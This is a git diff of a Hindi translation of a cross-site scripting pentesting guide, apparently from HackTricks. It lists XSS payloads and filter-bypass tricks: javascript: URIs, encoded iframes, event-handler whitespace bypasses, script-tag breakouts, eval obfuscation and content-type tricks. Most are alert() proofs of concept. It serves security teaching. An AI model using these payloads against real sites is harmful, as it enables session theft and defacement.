वहाँ आप कुछ स्थानों पर **`javascript:`** या **`data:`** प्रोटोकॉल का उपयोग कर सकते हैं **कोई भी JS कोड क्रियाशील करने** के लिए। कुछ स्थानों पर उपयोगकर्ता संवाद की आवश्यकता होगी और कुछ पर नहीं।
|
||||
वहाँ आप कुछ स्थानों पर **`javascript:`** या **`data:`** प्रोटोकॉल का उपयोग कर सकते हैं **किसी भी JS कोड को क्रियाशील करने** के लिए। कुछ स्थानों पर उपयोगकर्ता संवाद की आवश्यकता होगी और कुछ पर नहीं।
|
||||
```javascript
|
||||
javascript:alert(1)
|
||||
JavaSCript:alert(1)
|
||||
|
@ -359,17 +359,17 @@ _**इस मामले में HTML इन्कोडिंग और प
|
|||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
इसके अतिरिक्त, इन मामलों के लिए एक **अच्छा तरीका** है: **यदि आपका इनपुट `javascript:...` के अंदर है और यह URL कोड किया गया है, तो यह इसे एक्सीक्यूट होने से पहले URL डीकोड हो जाएगा।** तो, यदि आपको **स्ट्रिंग** से **एकल उद्धरण** का उपयोग करके **निकलना** है और आप देखते हैं कि **यह URL कोड किया गया है**, तो याद रखें कि **यह मायने नहीं रखता है,** यह **एकल उद्धरण** के रूप में **व्याख्या** किया जाएगा **एक्सीक्यूशन** समय में।
|
||||
इसके अतिरिक्त, इन मामलों के लिए एक **अच्छा तरीका** और भी है: **यदि आपका इनपुट `javascript:...` के अंदर URL कोड किया जा रहा है, तो यह इसे एक्सीक्यूट होने से पहले URL डीकोड हो जाएगा।** तो, यदि आपको **स्ट्रिंग** से **एकल उद्धरण** का उपयोग करके **निकलना** है और आप देखते हैं कि **यह URL कोड किया जा रहा है**, तो याद रखें कि **यह मायने नहीं रखता है,** यह **एकल उद्धरण** के रूप में **व्याख्या** किया जाएगा **एक्सीक्यूशन** समय में।
|
||||
```javascript
|
||||
'-alert(1)-'
|
||||
%27-alert(1)-%27
|
||||
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
|
||||
```
|
||||
ध्यान दें कि यदि आप कोई भी क्रम में `URLencode + HTMLencode` का उपयोग करने का प्रयास करते हैं तो **पेलोड** को एन्कोड करने के लिए यह **काम नहीं करेगा**, लेकिन आप **पेलोड के अंदर उन्हें मिला सकते हैं**।
|
||||
ध्यान दें कि यदि आप कोई **URLencode + HTMLencode** का उपयोग करने की कोशिश करते हैं किसी **पेलोड** को एन्कोड करने के लिए तो यह **काम नहीं करेगा**, लेकिन आप **पेलोड के अंदर उन्हें मिला सकते हैं**।
|
||||
|
||||
**`javascript:` के साथ हेक्स और ऑक्टल एन्कोड का उपयोग करें**
|
||||
**`javascript:` के साथ हेक्स और ऑक्टल एन्कोड का उपयोग करना**
|
||||
|
||||
आप `iframe` के `src` विशेषता के अंदर **एचटीएमएल टैग्स को निष्पादित करने के लिए एजेक्यूट करने के लिए** कम से कम **हेक्स** और **ऑक्टल एन्कोड** का उपयोग कर सकते हैं:
|
||||
आप **`iframe`** के `src` विशेषता के अंदर **हेक्स** और **ऑक्टल एन्कोड** का उपयोग कर सकते हैं (कम से कम) **JS को निष्पादित करने के लिए HTML टैग घोषित करने के लिए**:
|
||||
```javascript
|
||||
//Encoded: <svg onload=alert(1)>
|
||||
// This WORKS
|
||||
|
@ -385,16 +385,16 @@ _**इस मामले में HTML इन्कोडिंग और प
|
|||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
यदि आप किसी भी URL को एक विचारात्मक **`<a href=`** टैग में इंजेक्ट कर सकते हैं जो **`target="_blank" और rel="opener"`** विशेषताएँ शामिल करता है, तो **इस व्यवहार का शोध करने के लिए निम्नलिखित पृष्ठ की जाँच करें**:
|
||||
यदि आप किसी भी URL को एक विषयस्थ **`<a href=`** टैग में इंजेक्ट कर सकते हैं जो **`target="_blank" और rel="opener"`** विशेषताएँ सम्मिलित करता है, तो इस व्यवहार का शोध करने के लिए **निम्नलिखित पृष्ठ की जाँच करें**:
|
||||
|
||||
{% content-ref url="../reverse-tab-nabbing.md" %}
|
||||
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### on घटना हैंडलर बायपास
|
||||
### on घटना हैंडलर बाइपास
|
||||
|
||||
सबसे पहले उपयोगी **"on" घटना हैंडलर** के लिए इस पृष्ठ की जाँच करें ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet))।\
|
||||
यदि कोई काल सूची है जो इस घटना हैंडलर को बनाने से रोक रही है, तो आप निम्नलिखित बायपास को कोशिश कर सकते हैं:
|
||||
सबसे पहले उपयोगी **"on" घटना हैंडलर** के लिए इस पृष्ठ ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) की जाँच करें।\
|
||||
यदि कोई काल सूची है जो इस घटना हैंडलर को बनाने से रोक रही है, तो आप निम्नलिखित बाइपास को प्रयास कर सकते हैं:
|
||||
```javascript
|
||||
<svg onload%09=alert(1)> //No safari
|
||||
<svg %09onload=alert(1)>
|
||||
|
@ -409,9 +409,9 @@ Firefox: %09 %20 %28 %2C %3B
|
|||
Opera: %09 %20 %2C %3B
|
||||
Android: %09 %20 %28 %2C %3B
|
||||
```
|
||||
### "अअनुपयोगी टैग" में XSS (छिपी हुई इनपुट, लिंक, कैनोनिकल, मेटा)
|
||||
### "अअनुपयोगी टैग" में XSS (छिपे हुए इनपुट, लिंक, कैनोनिकल, मेटा)
|
||||
|
||||
[**यहाँ से**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **अब छिपी हुई इनपुट का दुरुपयोग करना संभव है:**
|
||||
[**यहाँ से**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **अब छिपे हुए इनपुट का दुरुपयोग करना संभव है:**
|
||||
```html
|
||||
<button popvertarget="x">Click me</button>
|
||||
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
|
||||
|
@ -424,37 +424,37 @@ Android: %09 %20 %28 %2C %3B
|
|||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||
<div popover id="newsletter">Newsletter popup</div>
|
||||
```
|
||||
From [**यहाँ**](https://portswigger.net/research/xss-in-hidden-input-fields): आप एक **छिपे हुए विशेषता के अंदर एक XSS पेलोड** को क्रियान्वित कर सकते हैं, यदि आप **विक्टिम** को **कुंजी संयोजन** दबाने के लिए **राजी** कर सकते हैं। Firefox Windows/Linux पर कुंजी संयोजन **ALT+SHIFT+X** है और OS X पर यह **CTRL+ALT+X** है। आप पहुंच कुंजी विशेषता में एक विभिन्न कुंजी का उपयोग करके एक विभिन्न कुंजी संयोजन निर्दिष्ट कर सकते हैं। यहाँ वेक्टर है:
|
||||
From [**यहाँ**](https://portswigger.net/research/xss-in-hidden-input-fields): आप एक **छिपी हुई विशेषता के अंदर एक XSS पेलोड** को निष्पादित कर सकते हैं, यदि आप **विक्टिम** को **कुंजी संयोजन** दबाने के लिए **राजी** कर सकते हैं। Firefox Windows/Linux पर कुंजी संयोजन **ALT+SHIFT+X** है और OS X पर यह **CTRL+ALT+X** है। आप एक विभिन्न कुंजी संयोजन निर्दिष्ट कर सकते हैं जिसका उपयोग एक्सेस कुंजी विशेषता में एक विभिन्न कुंजी के साथ किया जा सकता है। यहाँ वेक्टर है:
|
||||
```markup
|
||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||
```
|
||||
**XSS पेलोड कुछ इस तरह होगा: `" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
### ब्लैकलिस्ट बायपास
|
||||
### ब्लैकलिस्ट बाइपास
|
||||
|
||||
कई तरह के एन्कोडिंग के साथ छल का पता इस सेक्शन में पहले ही बता दिया गया था। जानने के लिए **वापस जाएं कि आप कहां इस्तेमाल कर सकते हैं:**
|
||||
इस खंड में पहले से ही विभिन्न इंकोडिंग का उपयोग करके कई तरह के ट्रिक्स उजागर किए गए हैं। जानने के लिए **वापस जाएं कि आप कहां उपयोग कर सकते हैं:**
|
||||
|
||||
* **HTML एन्कोडिंग (HTML टैग)**
|
||||
* **यूनिकोड एन्कोडिंग (मान्य JS कोड हो सकता है):** `\u0061lert(1)`
|
||||
* **URL एन्कोडिंग**
|
||||
* **हेक्स और ऑक्टल एन्कोडिंग**
|
||||
* **डेटा एन्कोडिंग**
|
||||
* **HTML इंकोडिंग (HTML टैग)**
|
||||
* **यूनिकोड इंकोडिंग (मान्य JS कोड हो सकता है):** `\u0061lert(1)`
|
||||
* **URL इंकोडिंग**
|
||||
* **हेक्स और ऑक्टल इंकोडिंग**
|
||||
* **डेटा इंकोडिंग**
|
||||
|
||||
**HTML टैग और विशेषताएँ के लिए बायपास**
|
||||
**HTML टैग और विशेषताएँ के लिए बाइपास**
|
||||
|
||||
[पिछले सेक्शन के ब्लैकलिस्ट बायपास](./#blacklist-bypasses) पढ़ें।
|
||||
[पिछले खंड के ब्लैकलिस्ट बाइपास](./#blacklist-bypasses) को पढ़ें।
|
||||
|
||||
**JavaScript कोड के लिए बायपास**
|
||||
**JavaScript कोड के लिए बाइपास**
|
||||
|
||||
[अगले सेक्शन के जेवास्क्रिप्ट बायपास ब्लैकलिस्ट तकनीक](./#javascript-bypass-blacklists-techniques) पढ़ें।
|
||||
अगले खंड के [जावास्क्रिप्ट बाइपास ब्लैकलिस्ट तकनीक](./#javascript-bypass-blacklists-techniques) को पढ़ें।
|
||||
|
||||
### CSS-Gadgets
|
||||
### CSS-गैजेट्स
|
||||
|
||||
अगर आपने वेब के बहुत छोटे हिस्से में **XSS** पाया है जिसमें किसी प्रकार के इंटरैक्शन की आवश्यकता है (शायद फूटर में एक छोटे से लिंक के साथ एक onmouseover तत्व), तो आप **तत्व द्वारा लिया गया स्थान संशोधित** करने का प्रयास कर सकते हैं ताकि लिंक को फायर करने की संभावनाएं अधिक हों।
|
||||
यदि आपने वेब के बहुत छोटे हिस्से में **XSS** पाया है जिसमें किसी प्रकार के इंटरैक्शन की आवश्यकता है (शायद फूटर में एक छोटे से लिंक के साथ onmouseover तत्व हो), तो आप **तत्व द्वारा लिया गया स्थान संशोधित** करने का प्रयास कर सकते हैं ताकि लिंक फायर होने की संभावनाएं अधिक हों।
|
||||
|
||||
उदाहरण के लिए, आप तत्व में कुछ स्टाइलिंग जोड़ सकते हैं जैसे: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
लेकिन, अगर WAF स्टाइल विशेषता को फ़िल्टर कर रहा है, तो आप CSS स्टाइलिंग गैजेट का उपयोग कर सकते हैं, तो यदि आपको मिलता है, उदाहरण के लिए
|
||||
लेकिन, यदि WAF स्टाइल विशेषता को फ़िल्टर कर रहा है, तो आप CSS स्टाइलिंग गैजेट्स का उपयोग कर सकते हैं, तो यदि आपको मिलता है, उदाहरण के लिए
|
||||
|
||||
> .test {display:block; color: blue; width: 100%\}
|
||||
|
||||
|
@ -470,19 +470,19 @@ From [**यहाँ**](https://portswigger.net/research/xss-in-hidden-input-fie
|
|||
|
||||
## जावास्क्रिप्ट कोड के भीतर इंजेक्शन
|
||||
|
||||
इन मामलों में आपका **इनपुट** एक `.js` फ़ाइल के जेएस कोड के भीतर या `<script>...</script>` टैग के बीच या वे HTML इवेंट्स के बीच होगा जो जेएस कोड को निष्पादित कर सकते हैं या उन विशेषताओं के बीच जो `javascript:` प्रोटोकॉल को स्वीकार करती हैं।
|
||||
इन मामलों में आपका **इनपुट** एक `.js` फ़ाइल के जेएस कोड के भीतर प्रतिबिम्बित होने जा रहा है या `<script>...</script>` टैग के बीच या उन HTML घटनाओं के बीच जो जेएस कोड को निष्पादित कर सकती हैं या उन विशेषताओं के बीच जो `javascript:` प्रोटोकॉल को स्वीकार करती हैं।
|
||||
|
||||
### \<script> टैग को बचाना
|
||||
### \<script> टैग से बाहर निकलना
|
||||
|
||||
यदि आपका कोड `<script> [...] var input = 'reflected data' [...] </script>` के भीतर डाला गया है तो आप आसानी से **\<script>** टैग को बचा सकते हैं:
|
||||
यदि आपका कोड `<script> [...] var input = 'reflected data' [...] </script>` के भीतर डाला गया है तो आप आसानी से **\<script>** टैग को छोड़ सकते हैं:
|
||||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
ध्यान दें कि इस उदाहरण में हमने **एकल उद्धरण को भी बंद नहीं किया है**। यह इसलिए है क्योंकि **ब्राउज़र द्वारा पहले HTML पार्सिंग** किया जाता है, जिसमें पृष्ठ तत्वों की पहचान की जाती है, स्क्रिप्ट के ब्लॉक भी शामिल हैं। जावास्क्रिप्ट का पार्सिंग इसे समझने और निष्पादित स्क्रिप्ट को चलाने के लिए केवल बाद में किया जाता है।
|
||||
ध्यान दें कि इस उदाहरण में हमने **एकल उद्धरण को भी बंद नहीं किया है**। यह इसलिए है क्योंकि **ब्राउज़र द्वारा पहले HTML पार्सिंग** किया जाता है, जिसमें पृष्ठ तत्वों की पहचान की जाती है, स्क्रिप्ट के ब्लॉक भी शामिल हैं। जावास्क्रिप्ट का पार्सिंग इसे समझने और निष्पादित करने के लिए केवल बाद में किया जाता है।
|
||||
|
||||
### जेएस कोड के अंदर
|
||||
|
||||
यदि `<>` को सैनिटाइज़ किया जा रहा है तो आप अभी भी **स्ट्रिंग को बचाने** कर सकते हैं जहां आपका इनपुट **स्थित है** और **विविध JS** को **निष्पादित** कर सकते हैं। जेएस की सिंटेक्स को **ठीक करना** महत्वपूर्ण है, क्योंकि यदि कोई भी त्रुटियाँ होती हैं, तो जेएस कोड को नहीं निष्पादित किया जाएगा:
|
||||
यदि `<>` को सैनिटाइज किया जा रहा है तो आप अभी भी **स्ट्रिंग को बचा सकते हैं** जहां आपका इनपुट **स्थित है** और **विचारशील जेएस** को **निष्पादित** कर सकते हैं। यह महत्वपूर्ण है कि **जेएस की सिंटेक्स को सही करें**, क्योंकि यदि कोई भी त्रुटियाँ होती हैं, तो जेएस कोड को नहीं निष्पादित किया जाएगा:
|
||||
```
|
||||
'-alert(document.domain)-'
|
||||
';alert(document.domain)//
|
||||
|
@ -490,8 +490,8 @@ From [**यहाँ**](https://portswigger.net/research/xss-in-hidden-input-fie
|
|||
```
|
||||
### टेम्पलेट लिटरल्स \`\`
|
||||
|
||||
**स्ट्रिंग्स** बनाने के लिए **बैकटिक्स** **` `` `** का उपयोग किया जा सकता है जोकि **सिंगल और डबल कोट्स** के अलावा है। इसे टेम्पलेट लिटरल्स के रूप में जाना जाता है क्योंकि ये `${ ... }` सिंटेक्स का उपयोग करके **एम्बेडेड JS एक्सप्रेशन्स** को शामिल करने की अनुमति देते हैं।\
|
||||
इसलिए, अगर आपको लगता है कि आपका इनपुट **JS स्ट्रिंग** के भीतर **रिफ्लेक्ट** हो रहा है जो बैकटिक्स का उपयोग कर रहा है, तो आप `${ ... }` सिंटेक्स का दुरुपयोग करके **विविध JS कोड** को निषेधित कर सकते हैं:
|
||||
**स्ट्रिंग्स** बनाने के लिए **बैकटिक्स** **` `` `** के अलावा JS टेम्पलेट लिटरल्स को स्वीकार करता है। ये **`${ ... }`** सिंटेक्स का उपयोग करके **एम्बेडेड JS एक्सप्रेशन्स** को शामिल करने की अनुमति देते हैं।\
|
||||
इसलिए, अगर आपको लगता है कि आपका इनपुट **जेएस स्ट्रिंग** के अंदर **रिफ्लेक्ट** हो रहा है जो बैकटिक्स का उपयोग कर रहा है, तो आप **`${ ... }`** सिंटेक्स का दुरुपयोग करके **विविध JS कोड** को निषेधित कर सकते हैं:
|
||||
|
||||
इसे इस प्रकार से **दुरुपयोग** किया जा सकता है:
|
||||
```javascript
|
||||
|
@ -511,13 +511,13 @@ loop``````````````
|
|||
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
|
||||
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
|
||||
```
|
||||
### यूनिकोड इन्कोड JS क्रियान्वयन
|
||||
### यूनिकोड इन्कोड JS निष्पादन
|
||||
```javascript
|
||||
\u{61}lert(1)
|
||||
\u0061lert(1)
|
||||
\u{0061}lert(1)
|
||||
```
|
||||
### जावास्क्रिप्ट ब्लैकलिस्ट तकनीकों को बायपास करने के तकनीक
|
||||
### जावास्क्रिप्ट बाइपास ब्लैकलिस्ट तकनीक
|
||||
|
||||
**स्ट्रिंग्स**
|
||||
```javascript
|
||||
|
@ -550,7 +550,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
|||
'\t' //tab
|
||||
// Any other char escaped is just itself
|
||||
```
|
||||
**JS कोड के अंदर स्पेस की जगह परिवर्तन**
|
||||
**JS कोड के भीतर स्थान परिवर्तन**
|
||||
```javascript
|
||||
<TAB>
|
||||
/**/
|
||||
|
@ -673,7 +673,7 @@ try{throw onerror=alert}catch{throw 1}
|
|||
* [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
|
||||
* [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
|
||||
|
||||
**केवलिय फ़ंक्शन (अलर्ट) कॉल**
|
||||
**केवलियता कार्य (अलर्ट) कॉल**
|
||||
````javascript
|
||||
//Eval like functions
|
||||
eval('ale'+'rt(1)')
|
||||
|
@ -736,20 +736,20 @@ top[8680439..toString(30)](1)
|
|||
## **DOM सुरक्षा दोष**
|
||||
|
||||
यहाँ **JS कोड** है जो **हमलावार द्वारा नियंत्रित असुरक्षित डेटा** का उपयोग कर रहा है जैसे `location.href`। एक हमलावार, इसका दुरुपयोग करके विभिन्न JS कोड को निषेध कर सकता है।\
|
||||
**विस्तार के कारण** [**DOM सुरक्षा दोष की व्याख्या इस पृष्ठ पर स्थानांतरित की गई थी**](dom-xss.md)**:**
|
||||
**DOM सुरक्षा दोष की विस्तार से स्पष्टीकरण के कारण** [**DOM सुरक्षा दोष को इस पृष्ठ पर ले जाया गया था**](dom-xss.md)**:**
|
||||
|
||||
{% content-ref url="dom-xss.md" %}
|
||||
[dom-xss.md](dom-xss.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
वहाँ आपको एक विस्तृत **व्याख्या मिलेगी कि DOM सुरक्षा दोष क्या है, वे कैसे उत्पन्न होते हैं, और उन्हें कैसे शोषित किया जाता है**।\
|
||||
इसके अलावा, **उक्त पोस्ट के अंत में** आप [**DOM Clobbering हमलों**](dom-xss.md#dom-clobbering) के बारे में एक व्याख्या पा सकते हैं।
|
||||
वहाँ आपको एक विस्तृत **व्याख्या मिलेगी कि DOM सुरक्षा दोष क्या है, वे कैसे प्रेरित होते हैं, और उन्हें कैसे उत्पीड़ित किया जाता है**।\
|
||||
इसके अलावा, न भूलें कि **उल्लिखित पोस्ट के अंत में** आप [**DOM Clobbering हमलों**](dom-xss.md#dom-clobbering) के बारे में एक व्याख्या पा सकते हैं।
|
||||
|
||||
## अन्य बायपास
|
||||
|
||||
### सामान्यीकृत यूनिकोड
|
||||
|
||||
आप यह जांच सकते हैं कि **प्रतिबिम्बित मान** सर्वर में (या क्लाइंट साइड में) **यूनिकोड सामान्यीकृत** हो रहे हैं और इस कार्यक्षमता का दुरुपयोग सुरक्षा को छलने के लिए कर सकते हैं। [**यहाँ एक उदाहरण पाएं**](../unicode-injection/#xss-cross-site-scripting).
|
||||
आप यह जांच सकते हैं कि **प्रतिबिंबित मान** सर्वर में (या क्लाइंट साइड में) **यूनिकोड सामान्यीकृत** हो रहे हैं और इस कार्यक्षमता का दुरुपयोग करके सुरक्षा को छलना कर सकते हैं। [**यहाँ एक उदाहरण पाएं**](../unicode-injection/#xss-cross-site-scripting).
|
||||
|
||||
### PHP FILTER\_VALIDATE\_EMAIL फ्लैग बायपास
|
||||
```javascript
|
||||
|
@ -757,8 +757,8 @@ top[8680439..toString(30)](1)
|
|||
```
|
||||
### Ruby-On-Rails बायपास
|
||||
|
||||
**RoR मास असाइनमेंट** के कारण एचटीएमएल में कोट्स डाले जाते हैं और फिर कोट निषेध को बायपास किया जाता है और टैग के अंदर अधिक क्षेत्र (ऑनफोकस) जोड़े जा सकते हैं।\
|
||||
फॉर्म उदाहरण ([इस रिपोर्ट से](https://hackerone.com/reports/709336)), अगर आप पेलोड भेजते हैं:
|
||||
**RoR मास असाइनमेंट** के कारण उद्धरण HTML में डाले जाते हैं और फिर उद्धरण प्रतिबंध को अनदेखा किया जाता है और टैग के अंदर अतिरिक्त फ़ील्ड (onfocus) जोड़े जा सकते हैं।\
|
||||
फ़ॉर्म उदाहरण ([इस रिपोर्ट से](https://hackerone.com/reports/709336)), अगर आप पेलोड भेजते हैं:
|
||||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
```
|
||||
|
@ -766,7 +766,7 @@ contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
|||
```
|
||||
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
|
||||
```
|
||||
फिर, onfocus विशेषता डाली जाएगी और XSS होगा।
|
||||
तब, onfocus विशेषता डाली जाएगी और XSS होगा।
|
||||
|
||||
### विशेष संयोजनाएँ
|
||||
```markup
|
||||
|
@ -800,22 +800,22 @@ document['default'+'View'][`\u0061lert`](3)
|
|||
```
|
||||
### XSS के साथ हेडर इंजेक्शन 302 प्रतिक्रिया में
|
||||
|
||||
यदि आपको पता चलता है कि आप **302 रीडायरेक्ट प्रतिक्रिया में हेडर्स इंजेक्ट कर सकते हैं**, तो आप **ब्राउज़र को विभिन्न JavaScript को क्रियान्वित करने का प्रयास कर सकते हैं**। यह **सरल नहीं** है क्योंकि आधुनिक ब्राउज़र HTTP प्रतिक्रिया स्थिति कोड 302 होने पर HTTP प्रतिक्रिया बॉडी का व्याख्यान नहीं करते हैं, इसलिए केवल एक क्रॉस-साइट स्क्रिप्टिंग पेलोड अनर्थक है।
|
||||
यदि आपको पता चलता है कि आप **302 रीडायरेक्ट प्रतिक्रिया में हेडर्स इंजेक्ट कर सकते हैं**, तो आप **ब्राउज़र को विभिन्न JavaScript को क्रियान्वित करने का प्रयास** कर सकते हैं। यह **सरल नहीं** है क्योंकि आधुनिक ब्राउज़र HTTP प्रतिक्रिया स्थिति कोड 302 होने पर HTTP प्रतिक्रिया बॉडी का व्याख्यान नहीं करते हैं, इसलिए केवल एक क्रॉस-साइट स्क्रिप्टिंग पेलोड अनर्थक है।
|
||||
|
||||
[**इस रिपोर्ट**](https://www.gremwell.com/firefox-xss-302) और [**इस एक**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) में आप पढ़ सकते हैं कि आप कैसे लोकेशन हेडर के अंदर XSS पेलोड को जांचने और क्रियान्वित करने की अनुमति देने वाले कई प्रोटोकॉलों का परीक्षण कर सकते हैं।\
|
||||
पिछले जाने वाले प्रोटोकॉल: `mailto://`, `//x:1/`, `ws://`, `wss://`, _खाली लोकेशन हेडर_, `resource://`.
|
||||
[**इस रिपोर्ट**](https://www.gremwell.com/firefox-xss-302) और [**इस एक**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) में आप पढ़ सकते हैं कि आप कैसे लोकेशन हेडर के अंदर कई प्रोटोकॉलों का परीक्षण कर सकते हैं और देख सकते हैं कि क्या कोई भी उनमें से ब्राउज़र को बॉडी के अंदर XSS पेलोड का निरीक्षण और क्रियान्वित करने की अनुमति देता है।\
|
||||
पिछले जाने गए प्रोटोकॉल: `mailto://`, `//x:1/`, `ws://`, `wss://`, _खाली लोकेशन हेडर_, `resource://`.
|
||||
|
||||
### केवल अक्षर, संख्या और डॉट
|
||||
|
||||
यदि आप **कैलबैक** को सूचित कर सकते हैं कि जावास्क्रिप्ट किस विशेष वर्णों को **क्रियान्वित** करेगा। [**इस पोस्ट के इस खंड को पढ़ें**](./#javascript-function) इस व्यवहार का दुरुपयोग कैसे करें।
|
||||
यदि आप **कैलबैक** को सूचित कर सकते हैं कि जावास्क्रिप्ट किस चरित्रों को **क्रियान्वित** करेगा तो उसे उन वर्णों से सीमित करें। [**इस पोस्ट के इस खंड को पढ़ें**](./#javascript-function) इस व्यवहार का दुरुपयोग कैसे करें।
|
||||
|
||||
### मान्य `<script>` सामग्री प्रकार XSS के लिए
|
||||
|
||||
(से [**यहाँ**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) यदि आप `application/octet-stream` जैसे **सामग्री प्रकार** के साथ एक स्क्रिप्ट लोड करने का प्रयास करते हैं, तो Chrome निम्नलिखित त्रुटि फेंकेगा:
|
||||
(से [**यहाँ**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) यदि आप `application/octet-stream` जैसे **कंटेंट-टाइप** के साथ एक स्क्रिप्ट लोड करने की कोशिश करते हैं, तो Chrome निम्नलिखित त्रुटि फेंकेगा:
|
||||
|
||||
> Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
|
||||
|
||||
केवल **Content-Type**s जो Chrome को एक **लोडेड स्क्रिप्ट** को चलाने का समर्थन करेंगे, वे हैं जो [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc) की const **`kSupportedJavascriptTypes`** के अंदर हैं।
|
||||
केवल **कंटेंट-टाइप**s जो Chrome को एक **लोडेड स्क्रिप्ट** को चलाने का समर्थन करें, वे हैं जो [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc) की const **`kSupportedJavascriptTypes`** के अंदर हैं।
|
||||
```c
|
||||
const char* const kSupportedJavascriptTypes[] = {
|
||||
"application/ecmascript",
|
||||
|
@ -856,7 +856,7 @@ const char* const kSupportedJavascriptTypes[] = {
|
|||
</script>
|
||||
The resources are loaded from the source .wbn, not accessed via HTTP
|
||||
```
|
||||
* [**importmap**](https://github.com/WICG/import-maps)**:** आयात सिंटेक्स को सुधारने की अनुमति देता है
|
||||
* [**importmap**](https://github.com/WICG/import-maps)**:** आयात संधि को सुधारने की अनुमति देता है
|
||||
```html
|
||||
<script type="importmap">
|
||||
{
|
||||
|
@ -873,7 +873,7 @@ import moment from "moment";
|
|||
import { partition } from "lodash";
|
||||
</script>
|
||||
```
|
||||
यह व्यवहार [**इस लेख**](https://github.com/zwade/yaca/tree/master/solution) में उपयोग किया गया था ताकि एक पुस्तकालय को eval पर पुनर्मार्पित किया जा सके और इसे उत्तेजित किया जा सके।
|
||||
यह व्यवहार [**इस लेख**](https://github.com/zwade/yaca/tree/master/solution) में उपयोग किया गया था ताकि एक पुस्तकालय को eval पर पुनर्मार्पित किया जा सके और इसे उपयोग करके XSS को ट्रिगर किया जा सके।
|
||||
|
||||
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** यह सुविधा मुख्य रूप से प्री-रेंडरिंग द्वारा उत्पन्न कुछ समस्याओं का समाधान करने के लिए है। यह इस प्रकार काम करता है:
|
||||
```html
|
||||
|
@ -891,24 +891,24 @@ import { partition } from "lodash";
|
|||
}
|
||||
</script>
|
||||
```
|
||||
### Web Content-Types to XSS
|
||||
### Web सामग्री प्रकार एक्सएसएस के लिए
|
||||
|
||||
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) निम्नलिखित सामग्री प्रकार सभी ब्राउज़र में XSS को क्रियाशील कर सकते हैं:
|
||||
(से [**यहाँ**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) निम्नलिखित सामग्री प्रकार सभी ब्राउज़र्स में एक्सएसएस को क्रियाशील कर सकते हैं:
|
||||
|
||||
* text/html
|
||||
* application/xhtml+xml
|
||||
* application/xml
|
||||
* text/xml
|
||||
* image/svg+xml
|
||||
* text/plain (?? सूची में नहीं है लेकिन मुझे लगता है कि मैंने एक CTF में इसे देखा था)
|
||||
* text/plain (?? सूची में नहीं है लेकिन मुझे लगता है कि मैंने एक सीटीएफ में इसे देखा था)
|
||||
* application/rss+xml (बंद)
|
||||
* application/atom+xml (बंद)
|
||||
|
||||
अन्य ब्राउज़र में अन्य **`Content-Types`** का उपयोग किया जा सकता है अनिश्चित JS को क्रियाशील करने के लिए, जांच करें: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||
अन्य ब्राउज़र्स में अन्य **`Content-Types`** का उपयोग विचारात्मक जेएस को क्रियाशील करने के लिए किया जा सकता है, जांच करें: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||
|
||||
### xml Content Type
|
||||
### xml सामग्री प्रकार
|
||||
|
||||
यदि पृष्ठ text/xml सामग्री प्रकार लौटा रहा है तो एक नेमस्पेस को संकेतित करना और अनिश्चित JS को क्रियाशील करना संभव है:
|
||||
यदि पृष्ठ text/xml सामग्री प्रकार लौटा रहा है तो एक नेमस्पेस को निर्दिष्ट करना और विचारात्मक जेएस को क्रियाशील करना संभव है:
|
||||
```xml
|
||||
<xml>
|
||||
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
|
||||
|
@ -918,19 +918,19 @@ import { partition } from "lodash";
|
|||
```
|
||||
### विशेष प्रतिस्थापन पैटर्न
|
||||
